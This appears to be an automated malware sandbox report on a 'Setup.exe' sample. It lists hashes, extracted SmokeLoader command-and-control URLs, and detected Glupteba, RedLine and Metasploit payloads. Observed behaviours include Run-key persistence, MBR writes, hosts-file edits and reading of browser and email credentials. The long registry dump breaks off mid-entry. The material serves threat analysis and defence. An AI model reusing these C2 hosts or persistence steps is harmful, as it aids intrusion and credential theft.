Analysis
-
max time kernel
122s -
max time network
152s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
28-02-2021 15:59
Static task
static1
Behavioral task
behavioral1
Sample
Setup.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Setup.exe
Resource
win10v20201028
General
-
Target
Setup.exe
-
Size
4.1MB
-
MD5
d9c8f4d5e5def9b419ee958b95295d67
-
SHA1
fe1e8744fac9c4ca1d6259b84bad88266e30d513
-
SHA256
42b3ce7cea9258cab25a9d6107e164be0e2ca268fe16fd35737359313b58b01e
-
SHA512
1cbdae7791e66e93fa2e961d8113d0e5aa06ef5001ba14573cfc51e4b72a206f9b24c02927e2bc8078e3e68adc682a642454d0585d56dbabe0a98b792c594e4b
Malware Config
Extracted
smokeloader
2020
http://naritouzina.net/
http://nukaraguasleep.net/
http://notfortuaj.net/
http://natuturalistic.net/
http://zaniolofusa.net/
Extracted
smokeloader
2019
http://10022020newfolder1002002131-service1002.space/
http://10022020newfolder1002002231-service1002.space/
http://10022020newfolder3100231-service1002.space/
http://10022020newfolder1002002431-service1002.space/
http://10022020newfolder1002002531-service1002.space/
http://10022020newfolder33417-01242510022020.space/
http://10022020test125831-service1002012510022020.space/
http://10022020test136831-service1002012510022020.space/
http://10022020test147831-service1002012510022020.space/
http://10022020test146831-service1002012510022020.space/
http://10022020test134831-service1002012510022020.space/
http://10022020est213531-service100201242510022020.ru/
http://10022020yes1t3481-service1002012510022020.ru/
http://10022020test13561-service1002012510022020.su/
http://10022020test14781-service1002012510022020.info/
http://10022020test13461-service1002012510022020.net/
http://10022020test15671-service1002012510022020.tech/
http://10022020test12671-service1002012510022020.online/
http://10022020utest1341-service1002012510022020.ru/
http://10022020uest71-service100201dom2510022020.ru/
http://10022020test61-service1002012510022020.website/
http://10022020test51-service1002012510022020.xyz/
http://10022020test41-service100201pro2510022020.ru/
http://10022020yest31-service100201rus2510022020.ru/
http://10022020rest21-service1002012510022020.eu/
http://10022020test11-service1002012510022020.press/
http://10022020newfolder4561-service1002012510022020.ru/
http://10022020rustest213-service1002012510022020.ru/
http://10022020test281-service1002012510022020.ru/
http://10022020test261-service1002012510022020.space/
http://10022020yomtest251-service1002012510022020.ru/
http://10022020yirtest231-service1002012510022020.ru/
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba Payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/5496-248-0x0000000000400000-0x0000000000C1B000-memory.dmp family_glupteba behavioral2/memory/5496-249-0x00000000037A0000-0x0000000003FA2000-memory.dmp family_glupteba behavioral2/memory/5496-251-0x0000000000400000-0x0000000000C1B000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4292-162-0x00000000025C0000-0x00000000025EE000-memory.dmp family_redline behavioral2/memory/4292-164-0x0000000002980000-0x00000000029AC000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 4804 created 4848 4804 WerFault.exe 5.exe -
Nirsoft 6 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\1614527833146.exe Nirsoft C:\Users\Admin\AppData\Roaming\1614527833146.exe Nirsoft C:\Users\Admin\AppData\Roaming\1614527837943.exe Nirsoft C:\Users\Admin\AppData\Roaming\1614527837943.exe Nirsoft C:\Users\Admin\AppData\Roaming\1614527843193.exe Nirsoft C:\Users\Admin\AppData\Roaming\1614527843193.exe Nirsoft -
Creates new service(s) 1 TTPs
-
Drops file in Drivers directory 1 IoCs
Processes:
ST.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts ST.exe -
Executes dropped EXE 38 IoCs
Processes:
26FF190E7AE0F7C7.exe26FF190E7AE0F7C7.exe1614527833146.exe1614527837943.exe1614527843193.exeThunderFW.exeMiniThunderPlatform.exe23E04C4F32EF2158.exe23E04C4F32EF2158.tmpseed.sfx.exeseed.exeC91D.exeC91D.exeDF36.exeE85F.exeupdatewin1.exeupdatewin2.exeupdatewin.exe5.exeEF26.exeF784.exegjpjyjua.exe135A.exeBenedetto.comBenedetto.com1C44.exe21D3.exejfiag3g_gg.exe2416.exe1C44.exe2E29.exejfiag3g_gg.exe3167.exe3167.tmpST.exeprolab.exeNiwisijahi.exeprolab.tmppid process 1140 26FF190E7AE0F7C7.exe 2444 26FF190E7AE0F7C7.exe 4016 1614527833146.exe 700 1614527837943.exe 428 1614527843193.exe 3832 ThunderFW.exe 548 MiniThunderPlatform.exe 388 23E04C4F32EF2158.exe 2184 23E04C4F32EF2158.tmp 2084 seed.sfx.exe 1684 seed.exe 4784 C91D.exe 4924 C91D.exe 2436 DF36.exe 4496 E85F.exe 3448 updatewin1.exe 2784 updatewin2.exe 2732 updatewin.exe 4848 5.exe 4292 EF26.exe 4588 F784.exe 4392 gjpjyjua.exe 4308 135A.exe 5156 Benedetto.com 5252 Benedetto.com 5988 1C44.exe 5232 21D3.exe 4348 jfiag3g_gg.exe 5160 2416.exe 5384 1C44.exe 5496 2E29.exe 5516 jfiag3g_gg.exe 5548 3167.exe 5580 3167.tmp 5652 ST.exe 5728 prolab.exe 5748 Niwisijahi.exe 5756 prolab.tmp -
Modifies Windows Firewall 1 TTPs
-
Sets service image path in registry 2 TTPs
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\gdiview.msi office_xlm_macros -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation cmd.exe -
Loads dropped DLL 15 IoCs
Processes:
MsiExec.exe26FF190E7AE0F7C7.exeMiniThunderPlatform.exeseed.exe5.exe1C44.exe3167.tmppid process 2556 MsiExec.exe 1140 26FF190E7AE0F7C7.exe 1140 26FF190E7AE0F7C7.exe 548 MiniThunderPlatform.exe 548 MiniThunderPlatform.exe 548 MiniThunderPlatform.exe 548 MiniThunderPlatform.exe 548 MiniThunderPlatform.exe 548 MiniThunderPlatform.exe 548 MiniThunderPlatform.exe 1684 seed.exe 4848 5.exe 4848 5.exe 5384 1C44.exe 5580 3167.tmp -
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 3 IoCs
Processes:
C91D.exe21D3.exeST.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\058bbe28-b653-4af7-8e4d-713b1e11e5d2\\C91D.exe\" --AutoStart" C91D.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.e" 21D3.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Media Player\\Ryrifolevy.exe\"" ST.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
Setup.exe26FF190E7AE0F7C7.exe26FF190E7AE0F7C7.exe135A.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Setup.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 135A.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exemsiexec.exedescription ioc process File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Z: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 93 api.2ip.ua 144 ip-api.com 187 ip-api.com 89 api.2ip.ua 90 api.2ip.ua -
Writes to the Master Boot Record (MBR) 1 TTPs 4 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
Processes:
Setup.exe26FF190E7AE0F7C7.exe26FF190E7AE0F7C7.exeMiniThunderPlatform.exedescription ioc process File opened for modification \??\PhysicalDrive0 Setup.exe File opened for modification \??\PhysicalDrive0 26FF190E7AE0F7C7.exe File opened for modification \??\PhysicalDrive0 26FF190E7AE0F7C7.exe File opened for modification \??\PhysicalDrive0 MiniThunderPlatform.exe -
Drops file in System32 directory 1 IoCs
Processes:
svchost.exedescription ioc process File created C:\Windows\SysWOW64\config\systemprofile:.repos svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
Setup.exepid process 652 Setup.exe -
Suspicious use of SetThreadContext 5 IoCs
Processes:
26FF190E7AE0F7C7.exegjpjyjua.exe1C44.exedescription pid process target process PID 1140 set thread context of 1380 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 set thread context of 3184 1140 26FF190E7AE0F7C7.exe firefox.exe PID 1140 set thread context of 476 1140 26FF190E7AE0F7C7.exe firefox.exe PID 4392 set thread context of 4492 4392 gjpjyjua.exe svchost.exe PID 5988 set thread context of 5384 5988 1C44.exe 1C44.exe -
Drops file in Program Files directory 60 IoCs
Processes:
prolab.tmp23E04C4F32EF2158.tmpseed.sfx.exeST.exedescription ioc process File opened for modification C:\Program Files (x86)\Picture Lab\WeifenLuo.WinFormsUI.dll prolab.tmp File created C:\Program Files (x86)\DTS\is-FACM7.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-MNMMA.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-69ULR.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-3401J.tmp 23E04C4F32EF2158.tmp File opened for modification C:\Program Files (x86)\Seed Trade seed.sfx.exe File created C:\Program Files (x86)\DTS\is-ISU72.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\Seed Trade\Seed\seed.exe seed.sfx.exe File opened for modification C:\Program Files (x86)\Picture Lab\AForge.Imaging.dll prolab.tmp File opened for modification C:\Program Files (x86)\Picture Lab\Pictures Lab.exe prolab.tmp File opened for modification C:\Program Files (x86)\Picture Lab\unins000.dat prolab.tmp File created C:\Program Files (x86)\DTS\images\is-56T0U.tmp 23E04C4F32EF2158.tmp File opened for modification C:\Program Files (x86)\Picture Lab\AForge.Math.dll prolab.tmp File created C:\Program Files (x86)\Picture Lab\is-Q7C7S.tmp prolab.tmp File created C:\Program Files (x86)\Picture Lab\is-DQA6A.tmp prolab.tmp File created C:\Program Files (x86)\Picture Lab\is-9DQ0K.tmp prolab.tmp File opened for modification C:\Program Files (x86)\DTS\seed.sfx.exe 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\unins000.dat 23E04C4F32EF2158.tmp File created C:\Program Files\7-Zip\XZYQODRYOE\prolab.exe ST.exe File created C:\Program Files (x86)\Picture Lab\unins000.dat prolab.tmp File created C:\Program Files (x86)\DTS\is-LLL3H.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\is-3DBR4.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-2GSKK.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-QIQQU.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\lang\is-R7K3C.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\is-91QVC.tmp 23E04C4F32EF2158.tmp File opened for modification C:\Program Files (x86)\Picture Lab\AForge.dll prolab.tmp File created C:\Program Files (x86)\Windows Media Player\Ryrifolevy.exe.config ST.exe File created C:\Program Files (x86)\Picture Lab\is-ABN0O.tmp prolab.tmp File created C:\Program Files (x86)\Picture Lab\is-BHO0O.tmp prolab.tmp File opened for modification C:\Program Files (x86)\DTS\unins000.dat 23E04C4F32EF2158.tmp File opened for modification C:\Program Files (x86)\Picture Lab\SourceLibrary.dll prolab.tmp File opened for modification C:\Program Files (x86)\Picture Lab\SourceGrid2.dll prolab.tmp File created C:\Program Files (x86)\Windows Media Player\Ryrifolevy.exe ST.exe File created C:\Program Files (x86)\Picture Lab\is-9HDDH.tmp prolab.tmp File created C:\Program Files (x86)\DTS\is-PK1RS.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-KLQ5R.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\Seed Trade\Seed\__tmp_rar_sfx_access_check_259348718 seed.sfx.exe File opened for modification C:\Program Files (x86)\DTS\DreamTrip.exe 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-16PKO.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\lang\is-5JLMM.tmp 23E04C4F32EF2158.tmp File opened for modification C:\Program Files (x86)\Seed Trade\Seed\seed.exe seed.sfx.exe File created C:\Program Files (x86)\DTS\images\is-5GU9H.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-LORJ6.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\Picture Lab\is-268AK.tmp prolab.tmp File created C:\Program Files\7-Zip\XZYQODRYOE\prolab.exe.config ST.exe File created C:\Program Files (x86)\Picture Lab\is-0J9RC.tmp prolab.tmp File created C:\Program Files (x86)\Picture Lab\is-IEILH.tmp prolab.tmp File created C:\Program Files (x86)\DTS\is-8PKEK.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-K6PAA.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-UF44O.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-K82RM.tmp 23E04C4F32EF2158.tmp File opened for modification C:\Program Files (x86)\Seed Trade\Seed seed.sfx.exe File created C:\Program Files (x86)\Picture Lab\is-LM01R.tmp prolab.tmp File opened for modification C:\Program Files (x86)\Picture Lab\DockingToolbar.dll prolab.tmp File created C:\Program Files (x86)\DTS\is-QMA1H.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-0SDB5.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-I640F.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-KKHFT.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\is-UIEJ4.tmp 23E04C4F32EF2158.tmp -
Drops file in Windows directory 2 IoCs
Processes:
MicrosoftEdge.exeWerFault.exedescription ioc process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 12 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 904 4848 WerFault.exe 5.exe 4384 4848 WerFault.exe 5.exe 3332 4848 WerFault.exe 5.exe 4788 4848 WerFault.exe 5.exe 4636 4848 WerFault.exe 5.exe 2608 4848 WerFault.exe 5.exe 2148 4848 WerFault.exe 5.exe 1580 4848 WerFault.exe 5.exe 4552 4848 WerFault.exe 5.exe 4148 4848 WerFault.exe 5.exe 3748 4848 WerFault.exe 5.exe 4804 4848 WerFault.exe 5.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
1C44.exe26FF190E7AE0F7C7.exeseed.exe26FF190E7AE0F7C7.exedescription ioc process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 1C44.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 26FF190E7AE0F7C7.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI seed.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI seed.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 1C44.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI seed.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName 26FF190E7AE0F7C7.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 1C44.exe -
Delays execution with timeout.exe 2 IoCs
Processes:
timeout.exetimeout.exepid process 1276 timeout.exe 6024 timeout.exe -
Kills process with taskkill 2 IoCs
Processes:
taskkill.exeTASKKILL.exepid process 1068 taskkill.exe 5964 TASKKILL.exe -
Processes:
MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies data under HKEY_USERS 2 IoCs
Processes:
svchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Control Panel\Buses svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Control Panel\Buses\Config0 = f45f563e3f53210524edb47d450dd49d084297dce82e72baa46d34fdc48d541d212ab5eb85cd945d24edb47d470dd49d024195daf71261adc06d04fda6e22673bbc9154961cda5691cd586447338e6ab644490bdb57d2de5955d01caf08d3c74bbc4103d29fea36c11dd8d457435d4f10b4c90d8f6127db9a45e3494b48d6c2bd49e440b3cf9a65d579fc2223064b9f86415c68db07e27e491543491abee3571bbd91d5061cda5691cd586447338e7ac64c9d45886718a68fc6d34fdc48c541de4da1b4f6f92e72f52edb47d440dd49d641e03de910814dda46d3731d68e541de4ac450531e3a66810c385447423e6ac5c2df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad923c04cd svchost.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 0100000044ecb509f6e992fac67c78d4292082fa4c22a601ea5727830303ccf1b91d95648c7984c71d62864668b40005a5fa2c677110922ba391d9fd3971 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 6c3a3b6c55add601 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 010000004d60a425ddf1b4591739dad8366f551825a952b661677ecda2e84061de3018d434f4658326d671674fac1e89dfb5f48fe6f5977a5c226bb938d8c9c78301309f69a186b06e6fb5947100e3c11f2f537da71b0828a4520227c09c MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DontShowMeThisDialogAgain MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListFirstRun = "3" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration MicrosoftEdge.exe Key created 